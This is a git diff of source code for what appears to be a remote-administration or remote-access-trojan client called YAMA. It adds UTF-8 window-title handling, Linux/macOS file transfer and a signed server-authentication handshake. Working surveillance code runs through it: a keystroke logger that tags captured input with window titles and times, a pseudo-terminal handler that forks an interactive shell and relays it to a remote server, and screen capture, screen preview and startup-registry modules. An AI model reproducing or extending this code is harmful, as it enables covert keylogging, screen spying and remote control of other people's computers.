@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题
GetWindowText(hWnd, szTitle, sizeof(szTitle));
// 用 W 接口取标题再转 UTF-8 写入 szTitle避免依赖客户端 CP_ACP
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
wchar_t wTitle[1024] = {};
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
szTitle, sizeof(szTitle), NULL, NULL);
}
//这里判断 窗口是否可见 或标题为空
BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {

Binary file not shown.

View File

@@ -209,6 +209,7 @@
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
@@ -257,6 +258,7 @@
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ServiceWrapper.h" />

View File

@@ -94,9 +94,17 @@ int Save(int key_stroke)
}
if (foreground) {
// 用 W 接口取标题再转 UTF-8避免依赖客户端系统 ANSI 代码页:
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP中文机=GBK
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252
char window_title[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextA);
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
wchar_t wTitle[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextW);
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
window_title, MAX_PATH, NULL, NULL);
}
if (strcmp(window_title, lastwindow) != 0) {
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
s.wHour, s.wMinute, s.wSecond);
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
}
}

52
client/sign_shim_unix.cpp Normal file
View File

@@ -0,0 +1,52 @@
// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface
//
// libsign.a 公开 ABI 是 C linkage避免 std::string 跨编译器/跨 libstdc++
// 版本 ABI 风险),但 YAMA 客户端代码IOCPClient.cpp / KernelManager.cpp /
// linux/main.cpp / macos/main.mm习惯用 std::string 调用 signMessage /
// verifyMessage。本文件提供 C++ 适配,让两边契合。
//
// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。
#include <string>
#include <cstring>
// libsign.a 提供的 C 接口
extern "C" {
int signMessage_c(const char* privateKey, int privateKeyLen,
const unsigned char* msg, int msgLen,
char* outBuf, int outBufSize);
int verifyMessage_c(const char* publicKey, int publicKeyLen,
const unsigned char* msg, int msgLen,
const char* sigHex, int sigLen);
int isVerifyCalled_c(void);
}
// 与 YAMA common/commands.h 中 BYTE 一致
typedef unsigned char BYTE;
// ============================================================================
// 提供 YAMA 既有声明所期望的 C++ 符号
// ============================================================================
std::string signMessage(const std::string& privateKey, BYTE* msg, int len)
{
char buf[65] = {};
int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(),
msg, len,
buf, sizeof(buf));
if (n != 64) return std::string();
return std::string(buf, 64);
}
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
const std::string& signature)
{
return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(),
msg, len,
signature.data(), (int)signature.size()) != 0;
}
int isVerifyCalled()
{
return isVerifyCalled_c();
}

View File

@@ -1,8 +1,24 @@
/**
* FileManager.h - Unix File Manager
*
* Implements file transfer between Windows server and Unix client.
* Supports: browse, upload, download, delete, rename, create folder
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different file APIs)
*/
#pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "FileManager.h is not supported on Windows."
#endif
#include <dirent.h>
#include <sys/stat.h>
#include <sys/statvfs.h>
#include <iconv.h>
#include <unistd.h>
#include <cstring>
#include <string>
@@ -11,15 +27,19 @@
#include <fstream>
#include <sstream>
#include <cerrno>
#ifdef __APPLE__
#include <sys/mount.h> // macOS: statfs for filesystem type
#endif
#include <iconv.h> // Character encoding conversion (GBK <-> UTF-8)
// FileTransferV2 is in the same directory (common/)
#include "FileTransferV2.h"
// 外部声明 clientID在 main.cpp 中定义)
// External declaration of clientID (defined in main.cpp/main.mm)
extern uint64_t g_myClientID;
// ============== Linux File Manager ==============
// Implements file transfer between Windows server and Linux client
// Supports: browse, upload, download, delete, rename, create folder
#define MAX_SEND_BUFFER 65535
class FileManager : public IOCPManager
@@ -222,6 +242,13 @@ private:
// ---- Get root filesystem type ----
static std::string getRootFsType()
{
#ifdef __APPLE__
struct statfs sf;
if (statfs("/", &sf) == 0) {
return std::string(sf.f_fstypename); // "apfs", "hfs", etc.
}
return "apfs";
#else
std::ifstream f("/proc/mounts");
std::string line;
while (std::getline(f, line)) {
@@ -232,6 +259,7 @@ private:
}
}
return "ext4";
#endif
}
// ---- Ensure parent directory exists (mkdir -p for parent of file path) ----
@@ -307,7 +335,11 @@ private:
memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long));
memcpy(buf + offset + 6, &freeMB, sizeof(unsigned long));
#ifdef __APPLE__
const char* typeName = "macOS";
#else
const char* typeName = "Linux";
#endif
int typeNameLen = strlen(typeName) + 1;
memcpy(buf + offset + 10, typeName, typeNameLen);

View File

@@ -1,7 +1,24 @@
/**
* FileTransferV2.h - Unix V2 File Transfer Protocol
*
* Implements V2 file transfer protocol for Unix clients.
* Supports: receive files from server/C2C, send files to server/C2C
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different file APIs)
*/
#pragma once
#include "common/commands.h"
#include "common/file_upload.h"
#include "client/IOCPClient.h"
#if defined(_WIN32) || defined(_WIN64)
#error "FileTransferV2.h is not supported on Windows."
#endif
#include "commands.h"
#include "file_upload.h"
#include "../client/IOCPClient.h"
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
@@ -15,10 +32,6 @@
#include <fstream>
#include <thread>
// ============== Linux V2 File Transfer ==============
// Implements V2 file transfer protocol for Linux client
// Supports: receive files from server/C2C, send files to server/C2C
class FileTransferV2
{
public:

View File

@@ -50,47 +50,71 @@ public:
char line[4096];
while (fgets(line, sizeof(line), f)) {
// 去除行尾换行符
size_t len = strlen(line);
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
line[--len] = '\0';
ParseLine(line, currentSection);
}
if (len == 0)
continue;
fclose(f);
return true;
}
// 跳过注释
if (line[0] == ';' || line[0] == '#')
continue;
// 从内存加载 INI 数据,返回是否成功
// 用于加载嵌入的资源数据
bool LoadFromMemory(const char* data, size_t size)
{
Clear();
// 检测 section 头: [SectionName]
// 真正的 section 头:']' 后面没有 '='(否则是 key=value
if (line[0] == '[') {
char* end = strchr(line, ']');
if (end) {
char* eqAfter = strchr(end + 1, '=');
if (!eqAfter) {
// 纯 section 头,如 [Strings]
*end = '\0';
currentSection = line + 1;
continue;
}
// ']' 后有 '=',如 [使用FRP]=[Using FRP],当作 key=value 处理
}
if (!data || size == 0)
return false;
std::string currentSection;
const char* p = data;
const char* end = data + size;
while (p < end) {
// 找到行尾
const char* lineEnd = p;
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
lineEnd++;
// 复制行内容
size_t lineLen = lineEnd - p;
if (lineLen > 0 && lineLen < 4096) {
char line[4096];
memcpy(line, p, lineLen);
line[lineLen] = '\0';
ParseLine(line, currentSection);
}
// 不在任何 section 内则跳过
if (currentSection.empty())
continue;
// 跳过换行符
p = lineEnd;
while (p < end && (*p == '\n' || *p == '\r'))
p++;
}
// 解析 key=value只按第一个 '=' 分割,不 trim
// key 和 value 均做反转义(\n \r \t \\ \"
char* eq = strchr(line, '=');
if (eq && eq != line) {
*eq = '\0';
std::string key = Unescape(std::string(line));
std::string value = Unescape(std::string(eq + 1));
m_sections[currentSection][key] = value;
}
return true;
}
// 追加加载(不清除现有数据,用于覆盖)
bool LoadFileAppend(const char* filePath)
{
if (!filePath || !filePath[0])
return false;
FILE* f = nullptr;
#ifdef _MSC_VER
if (fopen_s(&f, filePath, "r") != 0 || !f)
return false;
#else
f = fopen(filePath, "r");
if (!f)
return false;
#endif
std::string currentSection;
char line[4096];
while (fgets(line, sizeof(line), f)) {
ParseLine(line, currentSection);
}
fclose(f);
@@ -138,6 +162,52 @@ public:
private:
TSections m_sections;
// 解析单行 INI 内容
void ParseLine(char* line, std::string& currentSection)
{
// 去除行尾换行符
size_t len = strlen(line);
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
line[--len] = '\0';
if (len == 0)
return;
// 跳过注释
if (line[0] == ';' || line[0] == '#')
return;
// 检测 section 头: [SectionName]
// 真正的 section 头:']' 后面没有 '='(否则是 key=value
if (line[0] == '[') {
char* end = strchr(line, ']');
if (end) {
char* eqAfter = strchr(end + 1, '=');
if (!eqAfter) {
// 纯 section 头,如 [Strings]
*end = '\0';
currentSection = line + 1;
return;
}
// ']' 后有 '=',如 [使用FRP]=[Using FRP],当作 key=value 处理
}
}
// 不在任何 section 内则跳过
if (currentSection.empty())
return;
// 解析 key=value只按第一个 '=' 分割,不 trim
// key 和 value 均做反转义(\n \r \t \\ \"
char* eq = strchr(line, '=');
if (eq && eq != line) {
*eq = '\0';
std::string key = Unescape(std::string(line));
std::string value = Unescape(std::string(eq + 1));
m_sections[currentSection][key] = value;
}
}
// 反转义:将字面量 \n \r \t \\ \" 转为对应的控制字符
static std::string Unescape(const std::string& s)
{

275
common/PTYHandler.h Normal file
View File

@@ -0,0 +1,275 @@
/**
* PTYHandler.h - Unix Pseudo Terminal Handler
*
* This file provides pseudo terminal (PTY) functionality for remote shell access.
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different terminal APIs)
*
* USAGE:
* #include "common/PTYHandler.h"
*
* PTYHandler* handler = new PTYHandler(clientObject);
* clientObject->setManagerCallBack(handler, ...);
*/
#pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "PTYHandler.h is not supported on Windows. Use Windows ConPTY or other APIs instead."
#endif
// Platform-specific includes
#ifdef __APPLE__
#include <util.h> // macOS: openpty()
#else
#include <pty.h> // Linux: openpty()
#endif
// Common Unix includes
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <thread>
#include <atomic>
#include <stdexcept>
#include "commands.h"
#include "../client/IOCPClient.h"
/**
* PTYHandler - Pseudo Terminal Handler
*
* Manages a pseudo terminal for remote shell access.
* Inherits from IOCPManager to integrate with the IOCP client framework.
*/
class PTYHandler : public IOCPManager
{
public:
// Non-copyable, non-movable (owns system resources)
PTYHandler(const PTYHandler&) = delete;
PTYHandler& operator=(const PTYHandler&) = delete;
PTYHandler(PTYHandler&&) = delete;
PTYHandler& operator=(PTYHandler&&) = delete;
PTYHandler(IOCPClient* client) : m_client(client), m_running(false), m_master_fd(-1), m_slave_fd(-1), m_child_pid(-1)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// Create pseudo terminal pair
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// Set master fd to non-blocking mode
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// Start shell process
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) {
m_readThread.join();
}
if (m_master_fd >= 0) {
close(m_master_fd);
}
if (m_slave_fd >= 0) {
close(m_slave_fd);
}
if (m_child_pid > 0) {
// Check if child is still running before killing
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == 0) {
// Child still running, terminate it
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
// If result == m_child_pid, child already exited and was reaped
// If result == -1, child was already reaped elsewhere
}
}
// Start the PTY read thread
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
// Handle incoming data from server
virtual VOID OnReceive(PBYTE data, ULONG size) override
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
// Handle terminal resize command
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
short cols, rows;
memcpy(&cols, data + 1, sizeof(short));
memcpy(&rows, data + 3, sizeof(short));
SetWindowSize(cols, rows);
return;
}
// Write data to PTY
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
break;
}
total += written;
}
}
}
// Set terminal window size
void SetWindowSize(int cols, int rows)
{
struct winsize ws;
ws.ws_col = cols;
ws.ws_row = rows;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
return;
}
// Send SIGWINCH to child process to notify window size change
if (m_child_pid > 0) {
kill(m_child_pid, SIGWINCH);
}
}
private:
int m_master_fd;
int m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) {
// Child process
setsid(); // Create new session, become session leader
// Set slave PTY as controlling terminal (required for Ctrl+C to work)
// This must be done after setsid() and before dup2()
ioctl(m_slave_fd, TIOCSCTTY, 0);
// Redirect stdin/stdout/stderr to slave PTY
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// Set terminal environment for xterm.js compatibility
setenv("TERM", "xterm-256color", 1);
setenv("COLORTERM", "truecolor", 1);
#ifdef __APPLE__
// macOS locale settings
setenv("LANG", "en_US.UTF-8", 1);
setenv("LC_ALL", "en_US.UTF-8", 1);
// Disable zsh session save/restore (causes errors in PTY)
setenv("SHELL_SESSIONS_DISABLE", "1", 1);
// Try zsh first (macOS default), fallback to bash. Use -l (login) so
// ~/.zprofile is sourced — Homebrew's `brew shellenv` (which puts
// /opt/homebrew/bin on PATH) lives there. Without -l the PTY can't
// see brew / cmake / node / pyenv / rustup etc.
if (access("/bin/zsh", X_OK) == 0) {
execl("/bin/zsh", "zsh", "-l", "-i", nullptr);
}
execl("/bin/bash", "bash", "-l", "-i", nullptr);
#else
// Linux locale settings (C.UTF-8 is most portable)
setenv("LANG", "C.UTF-8", 1);
setenv("LC_ALL", "C.UTF-8", 1);
// Start interactive bash
execl("/bin/bash", "bash", "-i", nullptr);
#endif
_exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
// Check if child process has exited
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == m_child_pid) {
// Shell exited, send close notification
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
}
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
m_client->Send2Server(buffer, bytes_read);
}
} else if (bytes_read == 0) {
// EOF - PTY closed
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000); // 10ms
} else if (errno == EIO) {
// EIO typically means PTY slave closed (shell exited)
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else {
break;
}
}
}
}
};

View File

@@ -1,6 +1,6 @@
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
The implementation is verified against the test vectors in:
@@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
@@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
#if defined(CTR) && (CTR == 1)
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
@@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
}
}
#endif // #if defined(CTR) && (CTR == 1)
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)

View File

@@ -7,7 +7,7 @@
// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// AES_MODE_CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
@@ -19,8 +19,8 @@
#define ECB 1
#endif
#ifndef CTR
#define CTR 1
#ifndef AES_MODE_CTR
#define AES_MODE_CTR 1
#endif
@@ -43,13 +43,13 @@
struct AES_ctx {
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif
@@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
@@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
#endif // #if defined(CTR) && (CTR == 1)
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
#endif // _AES_H_

103
common/client_auth_state.h Normal file
View File

@@ -0,0 +1,103 @@
// client_auth_state.h
// Linux/macOS 客户端服务端身份校验状态 + helperLayer 1 防护)。
//
// 行为模型:
// - g_loginMsgstartTime + "|" + clientID启动时填一次跨重连不变
// - g_loginTime每次新连接重置为当前时刻
// - g_settingsVerified服务端 CMD_MASTERSETTING 通过签名校验后置 true
// 重连时重置为 false
//
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应
// 让进程退出。校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
// 功能侧的安全由子连接 authTOKEN_CONN_AUTH兜底——没通过校验的服务端无法
// 触发任何 sub-connection 功能。
//
// 跨线程访问:
// - g_settingsVerified 在 DataProcessIO 线程写、心跳循环main 线程)读
// - 用 std::atomic<bool> + acquire/release 内存序保证可见性
//
// C++17 inline 变量保证多翻译单元共享同一实例,无 ODR 冲突。
#pragma once
#include <atomic>
#include <cstring>
#include <ctime>
#include <string>
#include "common/commands.h"
// 全局 namespace 中的 verifyMessage由 client/sign_shim_unix.cppLinux/macOS
// 私有 .libWindows提供。必须在任何 namespace 之外声明,否则会被解析成
// ClientAuth::verifyMessage 导致链接失败。
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
const std::string& signature);
namespace ClientAuth {
// ============== 跨重连保留的状态 ==============
inline std::string g_loginMsg;
inline time_t g_loginTime = 0;
inline std::atomic<bool> g_settingsVerified{false};
// ============== Helpers ==============
// 进入新连接前调用g_loginTime = nowverified = false
inline void OnNewConnection()
{
g_loginTime = time(nullptr);
g_settingsVerified.store(false, std::memory_order_release);
}
// DataProcess 开头的 gate未通过校验前仅放行 CMD_MASTERSETTING校验本身
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
inline bool IsCommandAllowed(unsigned char cmd)
{
return g_settingsVerified.load(std::memory_order_acquire) || cmd == CMD_MASTERSETTING;
}
// 处理 CMD_MASTERSETTINGpayload = szBuffer + 1payloadLen = ulLength - 1
// 强制要求完整 MasterSettings包含 Signature 字段);不完整 / 签名失败 → 不更新
// g_settingsVerified让心跳循环 30s 超时自然把本次连接断开重连。
//
// 返回 true校验通过已 store(true)),通过 outReportInterval / outSettingsCopy
// 返回 settings 内容供调用方继续应用(更新心跳间隔、密码哈希等)
// 返回 false本次响应异常调用方应直接 return不要继续处理
//
// 注意:参数采用 unsigned char* 而非 BYTE* 避免依赖 Windows typedef
// BYTE 在 commands.h 已 typedef 为 unsigned char等价。
inline bool HandleMasterSettings(const unsigned char* payload, int payloadLen,
MasterSettings* outSettings)
{
if (payloadLen < (int)sizeof(MasterSettings)) {
return false;
}
MasterSettings settings = {};
std::memcpy(&settings, payload, sizeof(MasterSettings));
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
// 验证签名。失败 → 不立即退出,让超时兜底+重连逻辑处理。
// 注意 ::verifyMessage 在全局 namespace见本头部 extern 声明),不能省略 :: 前缀,
// 否则会被解析为 ClientAuth::verifyMessage链接失败。
std::string sig((char*)settings.Signature,
(char*)settings.Signature + sizeof(settings.Signature));
if (!::verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
return false;
}
g_settingsVerified.store(true, std::memory_order_release);
if (outSettings) *outSettings = settings;
return true;
}
// 心跳循环里检查 30s 超时:登录后 30 秒内必须收到并通过 MasterSettings 校验,
// 失败 → 调用方应显式断开本连接让外层重连。永不退出进程。
inline bool IsTimedOut()
{
return !g_settingsVerified.load(std::memory_order_acquire) &&
g_loginTime > 0 &&
time(nullptr) - g_loginTime > 30;
}
} // namespace ClientAuth

View File

@@ -41,7 +41,10 @@
typedef int64_t __int64;
typedef uint16_t WORD;
typedef uint32_t DWORD;
typedef int BOOL, SOCKET;
#ifndef BOOL
typedef bool BOOL;
#endif
typedef int SOCKET;
typedef unsigned int ULONG;
typedef unsigned int UINT;
typedef void VOID;
@@ -69,6 +72,7 @@ typedef struct {
#endif
#include "ip_enc.h"
#include "scheduler.h"
#include <time.h>
#include <unordered_map>
@@ -121,7 +125,10 @@ inline int isValid_10s()
#define DLL_VERSION __DATE__ // DLL版本
// 客户端能力位
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
// 无此位 = 老客户端,按系统 ANSI默认 CP936解读
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
@@ -326,8 +333,104 @@ enum {
CMD_SET_GROUP = 242, // 修改分组
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
CMD_PEER_TO_PEER = 244, // P2P通信
TOKEN_CLIENTID = 245,
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
};
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
// 主连接TOKEN_LOGIN 流)不走此校验。
//
// 兼容性策略:
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
// - 新客户端发出 → 等服务端 ConnAuthAck超时或失败则不继续。
// - 因此新客户端只能向新服务端连接(破坏性升级)。
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
//
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
char reserved[415]; // 预留扩展 [415]
}; // 总 512
// 服务端响应token + status + serverTime + 预留,固定 256 字节。
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
struct ConnAuthAck {
uint8_t token; // = TOKEN_CONN_AUTH回显方便客户端 dispatch [1]
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus [1]
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
char reserved[246]; // 预留扩展 [246]
}; // 总 256
#pragma pack(pop)
// 编译期断言:协议大小不允许被无意改动
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
// 屏幕预览服务端按双击在线主机触发向客户端要一张缩略图JPEG与浮窗一起显示。
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG预留 PNG/WebP。
#pragma pack(push, 1)
struct ScreenPreviewReq {
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
uint16_t reqId; // 请求序号,用于丢弃过期响应
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
uint8_t jpegQuality; // 1..100
uint16_t reserved;
}; // 总 8 字节
enum ScreenPreviewStatus {
SCREEN_PREVIEW_OK = 0,
SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败
SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败
SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持
};
enum ScreenPreviewFormat {
SCREEN_PREVIEW_FMT_JPEG = 0,
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
};
struct ScreenPreviewRspHeader {
uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP
uint16_t reqId; // 回显请求序号
uint8_t status; // ScreenPreviewStatus
uint8_t format; // ScreenPreviewFormatv1 仅 JPEG
uint16_t width; // 实际编码图宽
uint16_t height; // 实际编码图高
uint32_t bytes; // 图像字节数(紧随其后)
uint8_t reserved[3];
// 后接 data[bytes]
}; // 头部 16 字节
#pragma pack(pop)
static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes");
static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
enum ConnAuthStatus {
CONN_AUTH_OK = 0,
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
CONN_AUTH_INTERNAL_ERROR = 4,
};
